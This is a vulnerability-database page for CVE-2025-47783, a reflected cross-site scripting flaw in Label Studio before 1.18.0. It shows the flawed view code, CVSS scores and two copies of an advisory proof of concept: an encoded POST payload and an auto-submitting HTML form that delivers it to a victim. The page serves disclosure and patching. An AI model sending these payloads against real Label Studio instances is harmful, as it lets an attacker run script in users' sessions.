Every CVE Search/ Get API key

CVE-2025-47783

label-studio vulnerable to Cross-Site Scripting (Reflected) via the label_config parameter.

7.6 HighFix available

Label Studio is a multi-type data labeling and annotation tool. A vulnerability in versions prior to 1.18.0 allows an attacker to inject a malicious script into the context of a web page, which can lead to data theft, session hijacking, unauthorized actions on behalf of the user, and other attacks. The vulnerability is reproducible when sending a properly formatted request to the POST /projects/upload-example/ endpoint. In the source code, the vulnerability is located at label_studio/projects/views.py. Version 1.18.0 contains a patch for the issue.

Attack profile

How easy it is to exploit

Attack vector
Network
Complexity
Low
Privileges needed
None
User interaction
Passive

What an attacker can affect

Confidentiality
High
Integrity
High
Availability
None

Exploit likelihood

0.60%Up 0.5 points since May 15, 2025
90%50%10%1%

What each source reports

CVE List Score used 7.6

label-studio vulnerable to Cross-Site Scripting (Reflected) via the label_config parameter.

Label Studio is a multi-type data labeling and annotation tool. A vulnerability in versions prior to 1.18.0 allows an attacker to inject a malicious script into the context of a web page, which can lead to data theft, session hijacking, unauthorized actions on behalf of the user, and other attacks. The vulnerability is reproducible when sending a properly formatted request to the POST /projects/upload-example/ endpoint. In the source code, the vulnerability is located at label_studio/projects/views.py. Version 1.18.0 contains a patch for the issue.

Record
CVE-2025-47783
CVSS 4.0
7.6 HighCVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:H/VI:H/VA:N/SC:L/SI:L/SA:N
Weakness
CWE-79
Updated
2026-11-02
EUVDEUVD-2025-14944 7.6

Label Studio is a multi-type data labeling and annotation tool. A vulnerability in versions prior to 1.18.0 allows an attacker to inject a malicious script into the context of a web page, which can lead to data theft, session hijacking, unauthorized actions on behalf of the user, and other attacks. The vulnerability is reproducible when sending a properly formatted request to the POST /projects/upload-example/ endpoint. In the source code, the vulnerability is located at label_studio/projects/views.py. Version 1.18.0 contains a patch for the issue.

Record
EUVD-2025-14944
CVSS 4.0
7.6 HighCVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:H/VI:H/VA:N/SC:L/SI:L/SA:N
Updated
2026-11-02
GitHub AdvisoriesGHSA-8jhr-wpcm-hh4h 7.6

label-studio vulnerable to Cross-Site Scripting (Reflected) via the label_config parameter.

Summary

The vulnerability allows an attacker to inject a malicious script into the context of a web page, which can lead to data theft, unauthorized actions on behalf of the user, and other attacks.

Details

The vulnerability is reproducible when sending a properly formatted request to the POST /projects/upload-example/ endpoint. In the source code, the vulnerability is located at label_studio/projects/views.py.

39: @require_http_methods(['POST'])
40: def upload_example_using_config(request):
41:     """Generate upload data example by config only"""
42:     config = request.POST.get('label_config', '')
43: 
44:     org_pk = get_organization_from_request(request)
45:     secure_mode = False
46:     if org_pk is not None:
47:         org = generics.get_object_or_404(Organization, pk=org_pk)
48:         secure_mode = org.secure_mode
49: 
50:     try:
51:         Project.validate_label_config(config)
52:         task_data, _, _ = get_sample_task(config, secure_mode)
53:         task_data = playground_replacements(request, task_data)
54:     except (ValueError, ValidationError, lxml.etree.Error):
55:         response = HttpResponse('error while example generating', status=status.HTTP_400_BAD_REQUEST)
56:     else:
57:         response = HttpResponse(json.dumps(task_data))
58:     return response

The vulnerability is specifically located in line 57, where HttpResponse is used.

57:         response = HttpResponse(json.dumps(task_data))

PoC

Send the following request after changing the {host} to your own.

POST /projects/upload-example/ HTTP/1.1
Host: {host}
Content-Type: application/x-www-form-urlencoded
Content-Length: 67

label_config=%3cView%3e%3cText%20name%3d%22text%22%20value%3d%22$textjmwwi%26lt%3bscript%26gt%3balert(1)%26lt%3b%2fscript%26gt%3bs8m37%22%2f%3e%3c%2fView%3e

Or you can create a vulnerable HTML page by changing {domain} beforehand, which can later be sent to the victim.

<html>
  <body>
    <form action="http://{domain}/projects/upload-example/" method="POST">
      <input type="hidden" name="label&#95;config" value="&lt;View&gt;&lt;Text&#32;name&#61;&quot;text&quot;&#32;value&#61;&quot;&#36;textjmwwi&amp;lt&#59;script&amp;gt&#59;alert&#40;1&#41;&amp;lt&#59;&#47;script&amp;gt&#59;s8m37&quot;&#47;&gt;&lt;&#47;View&gt;" />
      <input type="submit" value="Submit request" />
    </form>
    <script>
      history.pushState('', '', '/');
      document.forms[0].submit();
    </script>
  </body>
</html>

Impact

  • Malicious code execution: The user may be forced to perform unwanted actions within their Label Studio account. This includes accessing document.cookie, but note that Label Studio session cookies are marked http-only, mitigating any possibility of session theft.
Record
GHSA-8jhr-wpcm-hh4h
CVSS 4.0
7.6 HighCVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:H/VI:H/VA:N/SC:L/SI:L/SA:N
Weakness
CWE-79
Updated
2026-11-02
NVD 7.6

Label Studio is a multi-type data labeling and annotation tool. A vulnerability in versions prior to 1.18.0 allows an attacker to inject a malicious script into the context of a web page, which can lead to data theft, session hijacking, unauthorized actions on behalf of the user, and other attacks. The vulnerability is reproducible when sending a properly formatted request to the POST /projects/upload-example/ endpoint. In the source code, the vulnerability is located at label_studio/projects/views.py. Version 1.18.0 contains a patch for the issue.

Record
CVE-2025-47783
CVSS 4.0
7.6 HighCVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:H/VI:H/VA:N/SC:L/SI:L/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
CVSS 3.1
6.1 MediumCVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
Weakness
CWE-79
Updated
2026-11-02
OSV 7.6

label-studio vulnerable to Cross-Site Scripting (Reflected) via the label_config parameter.

Label Studio is a multi-type data labeling and annotation tool. A vulnerability in versions prior to 1.18.0 allows an attacker to inject a malicious script into the context of a web page, which can lead to data theft, session hijacking, unauthorized actions on behalf of the user, and other attacks. The vulnerability is reproducible when sending a properly formatted request to the POST /projects/upload-example/ endpoint. In the source code, the vulnerability is located at label_studio/projects/views.py. Version 1.18.0 contains a patch for the issue.

Record
CVE-2025-47783
CVSS 4.0
7.6 HighCVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:H/VI:H/VA:N/SC:L/SI:L/SA:N
Weakness
CWE-79
Updated
2026-11-02
OSVGHSA-8jhr-wpcm-hh4h 7.6

label-studio vulnerable to Cross-Site Scripting (Reflected) via the label_config parameter.

Summary

The vulnerability allows an attacker to inject a malicious script into the context of a web page, which can lead to data theft, unauthorized actions on behalf of the user, and other attacks.

Details

The vulnerability is reproducible when sending a properly formatted request to the POST /projects/upload-example/ endpoint. In the source code, the vulnerability is located at label_studio/projects/views.py.

39: @require_http_methods(['POST'])
40: def upload_example_using_config(request):
41:     """Generate upload data example by config only"""
42:     config = request.POST.get('label_config', '')
43: 
44:     org_pk = get_organization_from_request(request)
45:     secure_mode = False
46:     if org_pk is not None:
47:         org = generics.get_object_or_404(Organization, pk=org_pk)
48:         secure_mode = org.secure_mode
49: 
50:     try:
51:         Project.validate_label_config(config)
52:         task_data, _, _ = get_sample_task(config, secure_mode)
53:         task_data = playground_replacements(request, task_data)
54:     except (ValueError, ValidationError, lxml.etree.Error):
55:         response = HttpResponse('error while example generating', status=status.HTTP_400_BAD_REQUEST)
56:     else:
57:         response = HttpResponse(json.dumps(task_data))
58:     return response

The vulnerability is specifically located in line 57, where HttpResponse is used.

57:         response = HttpResponse(json.dumps(task_data))

PoC

Send the following request after changing the {host} to your own.

POST /projects/upload-example/ HTTP/1.1
Host: {host}
Content-Type: application/x-www-form-urlencoded
Content-Length: 67

label_config=%3cView%3e%3cText%20name%3d%22text%22%20value%3d%22$textjmwwi%26lt%3bscript%26gt%3balert(1)%26lt%3b%2fscript%26gt%3bs8m37%22%2f%3e%3c%2fView%3e

Or you can create a vulnerable HTML page by changing {domain} beforehand, which can later be sent to the victim.

<html>
  <body>
    <form action="http://{domain}/projects/upload-example/" method="POST">
      <input type="hidden" name="label&#95;config" value="&lt;View&gt;&lt;Text&#32;name&#61;&quot;text&quot;&#32;value&#61;&quot;&#36;textjmwwi&amp;lt&#59;script&amp;gt&#59;alert&#40;1&#41;&amp;lt&#59;&#47;script&amp;gt&#59;s8m37&quot;&#47;&gt;&lt;&#47;View&gt;" />
      <input type="submit" value="Submit request" />
    </form>
    <script>
      history.pushState('', '', '/');
      document.forms[0].submit();
    </script>
  </body>
</html>

Impact

  • Malicious code execution: The user may be forced to perform unwanted actions within their Label Studio account. This includes accessing document.cookie, but note that Label Studio session cookies are marked http-only, mitigating any possibility of session theft.
Record
GHSA-8jhr-wpcm-hh4h
CVSS 4.0
7.6 HighCVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:H/VI:H/VA:N/SC:L/SI:L/SA:N
Weakness
CWE-79
Updated
2026-11-02
OSVPYSEC-2025-124 6.1

Label Studio is a multi-type data labeling and annotation tool. A vulnerability in versions prior to 1.18.0 allows an attacker to inject a malicious script into the context of a web page, which can lead to data theft, session hijacking, unauthorized actions on behalf of the user, and other attacks. The vulnerability is reproducible when sending a properly formatted request to the POST /projects/upload-example/ endpoint. In the source code, the vulnerability is located at label_studio/projects/views.py. Version 1.18.0 contains a patch for the issue.

Record
PYSEC-2025-124
CVSS 3.1
6.1 MediumCVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
Updated
2026-11-02

Affected products

Affected packages

Affected packages
PackageAffectedFixed
label-studio
PyPI
 before 1.18.0
1.18.0
label-studio
PyPI
 before 1.18.0, plus listed versions
0.4.10.4.20.4.30.4.40.4.4.post1
Show 45 moreShow less
0.4.4.post20.4.50.4.60.4.6.post10.4.6.post20.4.70.4.80.5.00.5.10.6.00.6.10.7.00.7.10.7.20.7.30.7.40.7.4.post00.7.4.post10.7.5.post10.7.5.post20.8.00.8.0.post00.8.10.8.1.post00.8.20.8.2.post00.9.00.9.0.post20.9.0.post30.9.0.post40.9.0.post50.9.10.9.1.post00.9.1.post10.9.1.post21.0.01.0.0.post01.0.0.post11.0.0.post21.0.0.post31.0.11.0.21.0.2.post01.1.01.1.0rc0
1.18.0

Public exploits

Links only. Every CVE stores no exploit code.

Public exploits
SourceLinkDate
NucleiLabel Studio < 1.18.0 - Reflected XSS

History

History
RecordedChangedSources
first indexedCVE List, EUVD, GitHub Advisories, Nuclei, NVD, OSV

Dates are when Every CVE recorded each change. Upstream dates may differ.

In short

CVE-2025-47783 is a high vulnerability (CVSS 7.6) in Humansignal Label-studio, published May 14, 2025. No source lists public exploit code. EPSS puts the chance of exploitation in the next 30 days at 0.60%, the 48th percentile. Fixed in label-studio 1.18.0.

References

This page doesn't list everything

Left out here: 40 versions. The JSON record has them.

Pages All vulnerabilities Browse Docs Sources Guide Get API key
MoveEnter Open